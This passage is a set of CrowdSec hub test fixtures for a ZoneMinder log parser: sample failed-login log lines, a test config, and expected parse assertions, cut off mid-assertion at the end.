/usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:08:03.393003 web_php[119601].ERR [2222:3333:444a:a300:3c65:1111:1111:1112] [Could not retrieve user user1 details] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:08:03.393003 web_php[118770].ERR [2222:3333:444a:a300:3c65:1111:1111:1112] [Could not retrieve user user2 details] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:08:03.393003 web_php[119601].ERR [2222:3333:444a:a300:3c65:1111:1111:1112] [Could not retrieve user user3 details] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:08:03.531511 web_php[118770].ERR [2222:3333:444a:a300:3c65:1111:1111:1112] [Could not retrieve user user4 details] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:08:03.531511 web_php[119601].ERR [2222:3333:444a:a300:3c65:1111:1111:1112] [Could not retrieve user user5 details] at /usr/share/zoneminder/www/includes/auth.php line 313 # New PHP datetime formatting 12/17/22, 10:31:29 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Could not retrieve user aaaa details] at /usr/share/zoneminder/www/includes/auth.php line 395 12/17/22, 10:31:30 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Could not retrieve user bbbb details] at /usr/share/zoneminder/www/includes/auth.php line 395 12/17/22, 10:31:31 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Could not retrieve user cccc details] at /usr/share/zoneminder/www/includes/auth.php line 395 12/17/22, 10:31:32 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Login denied for user "validuser1"] at /usr/share/zoneminder/www/includes/auth.php line 313 12/17/22, 10:31:33 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Login denied for user "validuser2"] at /usr/share/zoneminder/www/includes/auth.php line 313 12/17/22, 10:31:33 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Login denied for user "validuser3"] at /usr/share/zoneminder/www/includes/auth.php line 313 hub1/.tests/zoneminder-logs/000077500000000000000000000000001437532772500162705ustar00rootroot00000000000000hub1/.tests/zoneminder-logs/config.yaml000066400000000000000000000003641437532772500204240ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/baudneo/zoneminder-logs.yaml - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: zoneminder-web_php.log log_type: zoneminder labels: {} ignore_parsers: false hub1/.tests/zoneminder-logs/parser.assert000066400000000000000000000751051437532772500210170ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 17 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "01/25/22 16:08:02.393003 web_php[118770].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Could not retrieve user test_user details] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "01/25/22 16:08:03.531511 web_php[119601].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Could not retrieve user test_user details] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "01/25/22 16:19:40.524258 web_php[118966].INF [127.0.0.1] [Login successful for user \"test_user\"] at /usr/share/zoneminder/www/api/app/Controller/AppController.php line 86" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "01/25/22 16:19:40.524931 web_php[118966].INF [127.0.0.1] [Creating token for \"test_user\"] at /usr/share/zoneminder/www/api/app/Controller/HostController.php line 157" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "01/25/22 16:19:40.701022 web_php[118768].ERR [10.0.1.139] [Unable to authenticate user. error decoding JWT token:Expired token] at /usr/share/zoneminder/www/includes/auth.php line 118" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][5].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["message"] == "01/25/22 16:22:17.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user \"test_user\"] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][6].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["message"] == "01/25/22 16:23:17.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user \"test_user\"] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][7].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["message"] == "01/25/22 16:24:17.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user \"test_user\"] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][8].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Parsed["message"] == "01/25/22 16:24:57.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user \"test_user\"] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][9].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Parsed["message"] == "01/25/22 16:25:07.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user \"test_user\"] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][10].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Parsed["message"] == "# New PHP datetime formatting" results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][11].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Parsed["message"] == "12/17/22, 10:31:29 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Could not retrieve user aaaa details] at /usr/share/zoneminder/www/includes/auth.php line 395" results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][12].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Parsed["message"] == "12/17/22, 10:31:30 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Could not retrieve user bbbb details] at /usr/share/zoneminder/www/includes/auth.php line 395" results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][13].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Parsed["message"] == "12/17/22, 10:31:31 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Could not retrieve user cccc details] at /usr/share/zoneminder/www/includes/auth.php line 395" results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][14].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][14].Evt.Parsed["message"] == "12/17/22, 10:31:32 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Login denied for user \"validuser1\"] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s00-raw"]["crowdsecurity/non-syslog"][14].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][14].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][14].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][15].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][15].Evt.Parsed["message"] == "12/17/22, 10:31:33 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Login denied for user \"validuser2\"] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s00-raw"]["crowdsecurity/non-syslog"][15].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][15].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][15].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][16].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][16].Evt.Parsed["message"] == "12/17/22, 10:31:33 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Login denied for user \"validuser3\"] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s00-raw"]["crowdsecurity/non-syslog"][16].Evt.Parsed["program"] == "zoneminder" results["s00-raw"]["crowdsecurity/non-syslog"][16].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s00-raw"]["crowdsecurity/non-syslog"][16].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 17 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][8].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][9].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][10].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][11].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][12].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][13].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][14].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][15].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][16].Success == false len(results["s01-parse"]["baudneo/zoneminder-logs"]) == 17 results["s01-parse"]["baudneo/zoneminder-logs"][0].Success == true results["s01-parse"]["baudneo/zoneminder-logs"][0].Evt.Parsed["message"] == "01/25/22 16:08:02.393003 web_php[118770].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Could not retrieve user test_user details] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s01-parse"]["baudneo/zoneminder-logs"][0].Evt.Parsed["month"] == "01" results["s01-parse"]["baudneo/zoneminder-logs"][0].Evt.Parsed["program"] == "zoneminder" results["s01-parse"]["baudneo/zoneminder-logs"][0].Evt.Parsed["source_ip"] == "2222:3333:444a:a300:3c65:1111:1111:1111" results["s01-parse"]["baudneo/zoneminder-logs"][0].Evt.Parsed["time"] == "16:08:02.393003" results["s01-parse"]["baudneo/zoneminder-logs"][0].Evt.Parsed["username"] == "test_user" results["s01-parse"]["baudneo/zoneminder-logs"][0].Evt.Parsed["year"] == "22" results["s01-parse"]["baudneo/zoneminder-logs"][0].Evt.Parsed["day"] == "25" results["s01-parse"]["baudneo/zoneminder-logs"][0].Evt.Meta["log_type"] == "zm_failed_auth" results["s01-parse"]["baudneo/zoneminder-logs"][0].Evt.Meta["source_ip"] == "2222:3333:444a:a300:3c65:1111:1111:1111" results["s01-parse"]["baudneo/zoneminder-logs"][0].Evt.Meta["username"] == "test_user" results["s01-parse"]["baudneo/zoneminder-logs"][0].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s01-parse"]["baudneo/zoneminder-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/zoneminder-logs"][0].Evt.Meta["log_subtype"] == "zm_bad_user" results["s01-parse"]["baudneo/zoneminder-logs"][1].Success == true results["s01-parse"]["baudneo/zoneminder-logs"][1].Evt.Parsed["time"] == "16:08:03.531511" results["s01-parse"]["baudneo/zoneminder-logs"][1].Evt.Parsed["username"] == "test_user" results["s01-parse"]["baudneo/zoneminder-logs"][1].Evt.Parsed["year"] == "22" results["s01-parse"]["baudneo/zoneminder-logs"][1].Evt.Parsed["day"] == "25" results["s01-parse"]["baudneo/zoneminder-logs"][1].Evt.Parsed["message"] == "01/25/22 16:08:03.531511 web_php[119601].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Could not retrieve user test_user details] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s01-parse"]["baudneo/zoneminder-logs"][1].Evt.Parsed["month"] == "01" results["s01-parse"]["baudneo/zoneminder-logs"][1].Evt.Parsed["program"] == "zoneminder" results["s01-parse"]["baudneo/zoneminder-logs"][1].Evt.Parsed["source_ip"] == "2222:3333:444a:a300:3c65:1111:1111:1111" results["s01-parse"]["baudneo/zoneminder-logs"][1].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s01-parse"]["baudneo/zoneminder-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/zoneminder-logs"][1].Evt.Meta["log_subtype"] == "zm_bad_user" results["s01-parse"]["baudneo/zoneminder-logs"][1].Evt.Meta["log_type"] == "zm_failed_auth" results["s01-parse"]["baudneo/zoneminder-logs"][1].Evt.Meta["source_ip"] == "2222:3333:444a:a300:3c65:1111:1111:1111" results["s01-parse"]["baudneo/zoneminder-logs"][1].Evt.Meta["username"] == "test_user" results["s01-parse"]["baudneo/zoneminder-logs"][2].Success == false results["s01-parse"]["baudneo/zoneminder-logs"][3].Success == false results["s01-parse"]["baudneo/zoneminder-logs"][4].Success == false results["s01-parse"]["baudneo/zoneminder-logs"][5].Success == true results["s01-parse"]["baudneo/zoneminder-logs"][5].Evt.Parsed["month"] == "01" results["s01-parse"]["baudneo/zoneminder-logs"][5].Evt.Parsed["program"] == "zoneminder" results["s01-parse"]["baudneo/zoneminder-logs"][5].Evt.Parsed["source_ip"] == "2222:3333:444a:a300:3c65:1111:1111:1111" results["s01-parse"]["baudneo/zoneminder-logs"][5].Evt.Parsed["time"] == "16:22:17.359785" results["s01-parse"]["baudneo/zoneminder-logs"][5].Evt.Parsed["username"] == "test_user" results["s01-parse"]["baudneo/zoneminder-logs"][5].Evt.Parsed["year"] == "22" results["s01-parse"]["baudneo/zoneminder-logs"][5].Evt.Parsed["day"] == "25" results["s01-parse"]["baudneo/zoneminder-logs"][5].Evt.Parsed["message"] == "01/25/22 16:22:17.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user \"test_user\"] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s01-parse"]["baudneo/zoneminder-logs"][5].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s01-parse"]["baudneo/zoneminder-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/zoneminder-logs"][5].Evt.Meta["log_subtype"] == "zm_bad_password" results["s01-parse"]["baudneo/zoneminder-logs"][5].Evt.Meta["log_type"] == "zm_failed_auth" results["s01-parse"]["baudneo/zoneminder-logs"][5].Evt.Meta["source_ip"] == "2222:3333:444a:a300:3c65:1111:1111:1111" results["s01-parse"]["baudneo/zoneminder-logs"][5].Evt.Meta["username"] == "test_user" results["s01-parse"]["baudneo/zoneminder-logs"][6].Success == true results["s01-parse"]["baudneo/zoneminder-logs"][6].Evt.Parsed["message"] == "01/25/22 16:23:17.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user \"test_user\"] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s01-parse"]["baudneo/zoneminder-logs"][6].Evt.Parsed["month"] == "01" results["s01-parse"]["baudneo/zoneminder-logs"][6].Evt.Parsed["program"] == "zoneminder" results["s01-parse"]["baudneo/zoneminder-logs"][6].Evt.Parsed["source_ip"] == "2222:3333:444a:a300:3c65:1111:1111:1111" results["s01-parse"]["baudneo/zoneminder-logs"][6].Evt.Parsed["time"] == "16:23:17.359785" results["s01-parse"]["baudneo/zoneminder-logs"][6].Evt.Parsed["username"] == "test_user" results["s01-parse"]["baudneo/zoneminder-logs"][6].Evt.Parsed["year"] == "22" results["s01-parse"]["baudneo/zoneminder-logs"][6].Evt.Parsed["day"] == "25" results["s01-parse"]["baudneo/zoneminder-logs"][6].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s01-parse"]["baudneo/zoneminder-logs"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/zoneminder-logs"][6].Evt.Meta["log_subtype"] == "zm_bad_password" results["s01-parse"]["baudneo/zoneminder-logs"][6].Evt.Meta["log_type"] == "zm_failed_auth" results["s01-parse"]["baudneo/zoneminder-logs"][6].Evt.Meta["source_ip"] == "2222:3333:444a:a300:3c65:1111:1111:1111" results["s01-parse"]["baudneo/zoneminder-logs"][6].Evt.Meta["username"] == "test_user" results["s01-parse"]["baudneo/zoneminder-logs"][7].Success == true results["s01-parse"]["baudneo/zoneminder-logs"][7].Evt.Parsed["time"] == "16:24:17.359785" results["s01-parse"]["baudneo/zoneminder-logs"][7].Evt.Parsed["username"] == "test_user" results["s01-parse"]["baudneo/zoneminder-logs"][7].Evt.Parsed["year"] == "22" results["s01-parse"]["baudneo/zoneminder-logs"][7].Evt.Parsed["day"] == "25" results["s01-parse"]["baudneo/zoneminder-logs"][7].Evt.Parsed["message"] == "01/25/22 16:24:17.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user \"test_user\"] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s01-parse"]["baudneo/zoneminder-logs"][7].Evt.Parsed["month"] == "01" results["s01-parse"]["baudneo/zoneminder-logs"][7].Evt.Parsed["program"] == "zoneminder" results["s01-parse"]["baudneo/zoneminder-logs"][7].Evt.Parsed["source_ip"] == "2222:3333:444a:a300:3c65:1111:1111:1111" results["s01-parse"]["baudneo/zoneminder-logs"][7].Evt.Meta["log_subtype"] == "zm_bad_password" results["s01-parse"]["baudneo/zoneminder-logs"][7].Evt.Meta["log_type"] == "zm_failed_auth" results["s01-parse"]["baudneo/zoneminder-logs"][7].Evt.Meta["source_ip"] == "2222:3333:444a:a300:3c65:1111:1111:1111" results["s01-parse"]["baudneo/zoneminder-logs"][7].Evt.Meta["username"] == "test_user" results["s01-parse"]["baudneo/zoneminder-logs"][7].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s01-parse"]["baudneo/zoneminder-logs"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/zoneminder-logs"][8].Success == true results["s01-parse"]["baudneo/zoneminder-logs"][8].Evt.Parsed["username"] == "test_user" results["s01-parse"]["baudneo/zoneminder-logs"][8].Evt.Parsed["year"] == "22" results["s01-parse"]["baudneo/zoneminder-logs"][8].Evt.Parsed["day"] == "25" results["s01-parse"]["baudneo/zoneminder-logs"][8].Evt.Parsed["message"] == "01/25/22 16:24:57.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user \"test_user\"] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s01-parse"]["baudneo/zoneminder-logs"][8].Evt.Parsed["month"] == "01" results["s01-parse"]["baudneo/zoneminder-logs"][8].Evt.Parsed["program"] == "zoneminder" results["s01-parse"]["baudneo/zoneminder-logs"][8].Evt.Parsed["source_ip"] == "2222:3333:444a:a300:3c65:1111:1111:1111" results["s01-parse"]["baudneo/zoneminder-logs"][8].Evt.Parsed["time"] == "16:24:57.359785" results["s01-parse"]["baudneo/zoneminder-logs"][8].Evt.Meta["username"] == "test_user" results["s01-parse"]["baudneo/zoneminder-logs"][8].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s01-parse"]["baudneo/zoneminder-logs"][8].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/zoneminder-logs"][8].Evt.Meta["log_subtype"] == "zm_bad_password" results["s01-parse"]["baudneo/zoneminder-logs"][8].Evt.Meta["log_type"] == "zm_failed_auth" results["s01-parse"]["baudneo/zoneminder-logs"][8].Evt.Meta["source_ip"] == "2222:3333:444a:a300:3c65:1111:1111:1111" results["s01-parse"]["baudneo/zoneminder-logs"][9].Success == true results["s01-parse"]["baudneo/zoneminder-logs"][9].Evt.Parsed["time"] == "16:25:07.359785" results["s01-parse"]["baudneo/zoneminder-logs"][9].Evt.Parsed["username"] == "test_user" results["s01-parse"]["baudneo/zoneminder-logs"][9].Evt.Parsed["year"] == "22" results["s01-parse"]["baudneo/zoneminder-logs"][9].Evt.Parsed["day"] == "25" results["s01-parse"]["baudneo/zoneminder-logs"][9].Evt.Parsed["message"] == "01/25/22 16:25:07.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user \"test_user\"] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s01-parse"]["baudneo/zoneminder-logs"][9].Evt.Parsed["month"] == "01" results["s01-parse"]["baudneo/zoneminder-logs"][9].Evt.Parsed["program"] == "zoneminder" results["s01-parse"]["baudneo/zoneminder-logs"][9].Evt.Parsed["source_ip"] == "2222:3333:444a:a300:3c65:1111:1111:1111" results["s01-parse"]["baudneo/zoneminder-logs"][9].Evt.Meta["log_type"] == "zm_failed_auth" results["s01-parse"]["baudneo/zoneminder-logs"][9].Evt.Meta["source_ip"] == "2222:3333:444a:a300:3c65:1111:1111:1111" results["s01-parse"]["baudneo/zoneminder-logs"][9].Evt.Meta["username"] == "test_user" results["s01-parse"]["baudneo/zoneminder-logs"][9].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s01-parse"]["baudneo/zoneminder-logs"][9].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/zoneminder-logs"][9].Evt.Meta["log_subtype"] == "zm_bad_password" results["s01-parse"]["baudneo/zoneminder-logs"][10].Success == false results["s01-parse"]["baudneo/zoneminder-logs"][11].Success == true results["s01-parse"]["baudneo/zoneminder-logs"][11].Evt.Parsed["month"] == "12" results["s01-parse"]["baudneo/zoneminder-logs"][11].Evt.Parsed["program"] == "zoneminder" results["s01-parse"]["baudneo/zoneminder-logs"][11].Evt.Parsed["source_ip"] == "10.0.1.5" results["s01-parse"]["baudneo/zoneminder-logs"][11].Evt.Parsed["time"] == "10:31:29 PM MST.557710" results["s01-parse"]["baudneo/zoneminder-logs"][11].Evt.Parsed["username"] == "aaaa" results["s01-parse"]["baudneo/zoneminder-logs"][11].Evt.Parsed["year"] == "22" results["s01-parse"]["baudneo/zoneminder-logs"][11].Evt.Parsed["day"] == "17" results["s01-parse"]["baudneo/zoneminder-logs"][11].Evt.Parsed["message"] == "12/17/22, 10:31:29 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Could not retrieve user aaaa details] at /usr/share/zoneminder/www/includes/auth.php line 395" results["s01-parse"]["baudneo/zoneminder-logs"][11].Evt.Meta["source_ip"] == "10.0.1.5" results["s01-parse"]["baudneo/zoneminder-logs"][11].Evt.Meta["username"] == "aaaa" results["s01-parse"]["baudneo/zoneminder-logs"][11].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s01-parse"]["baudneo/zoneminder-logs"][11].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/zoneminder-logs"][11].Evt.Meta["log_subtype"] == "zm_bad_user" results["s01-parse"]["baudneo/zoneminder-logs"][11].Evt.Meta["log_type"] == "zm_failed_auth" results["s01-parse"]["baudneo/zoneminder-logs"][12].Success == true results["s01-parse"]["baudneo/zoneminder-logs"][12].Evt.Parsed["day"] == "17" results["s01-parse"]["baudneo/zoneminder-logs"][12].Evt.Parsed["message"] == "12/17/22, 10:31:30 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Could not retrieve user bbbb details] at /usr/share/zoneminder/www/includes/auth.php line 395" results["s01-parse"]["baudneo/zoneminder-logs"][12].Evt.Parsed["month"] == "12" results["s01-parse"]["baudneo/zoneminder-logs"][12].Evt.Parsed["program"] == "zoneminder" results["s01-parse"]["baudneo/zoneminder-logs"][12].Evt.Parsed["source_ip"] == "10.0.1.5" results["s01-parse"]["baudneo/zoneminder-logs"][12].Evt.Parsed["time"] == "10:31:30 PM MST.557710" results["s01-parse"]["baudneo/zoneminder-logs"][12].Evt.Parsed["username"] == "bbbb" results["s01-parse"]["baudneo/zoneminder-logs"][12].Evt.Parsed["year"] == "22" results["s01-parse"]["baudneo/zoneminder-logs"][12].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/zoneminder-logs"][12].Evt.Meta["log_subtype"] == "zm_bad_user" results["s01-parse"]["baudneo/zoneminder-logs"][12].Evt.Meta["log_type"] == "zm_failed_auth" results["s01-parse"]["baudneo/zoneminder-logs"][12].Evt.Meta["source_ip"] == "10.0.1.5" results["s01-parse"]["baudneo/zoneminder-logs"][12].Evt.Meta["username"] == "bbbb" results["s01-parse"]["baudneo/zoneminder-logs"][12].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s01-parse"]["baudneo/zoneminder-logs"][13].Success == true results["s01-parse"]["baudneo/zoneminder-logs"][13].Evt.Parsed["month"] == "12" results["s01-parse"]["baudneo/zoneminder-logs"][13].Evt.Parsed["program"] == "zoneminder" results["s01-parse"]["baudneo/zoneminder-logs"][13].Evt.Parsed["source_ip"] == "10.0.1.5" results["s01-parse"]["baudneo/zoneminder-logs"][13].Evt.Parsed["time"] == "10:31:31 PM MST.557710" results["s01-parse"]["baudneo/zoneminder-logs"][13].Evt.Parsed["username"] == "cccc" results["s01-parse"]["baudneo/zoneminder-logs"][13].Evt.Parsed["year"] == "22" results["s01-parse"]["baudneo/zoneminder-logs"][13].Evt.Parsed["day"] == "17" results["s01-parse"]["baudneo/zoneminder-logs"][13].Evt.Parsed["message"] == "12/17/22, 10:31:31 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Could not retrieve user cccc details] at /usr/share/zoneminder/www/includes/auth.php line 395" results["s01-parse"]["baudneo/zoneminder-logs"][13].Evt.Meta["log_subtype"] == 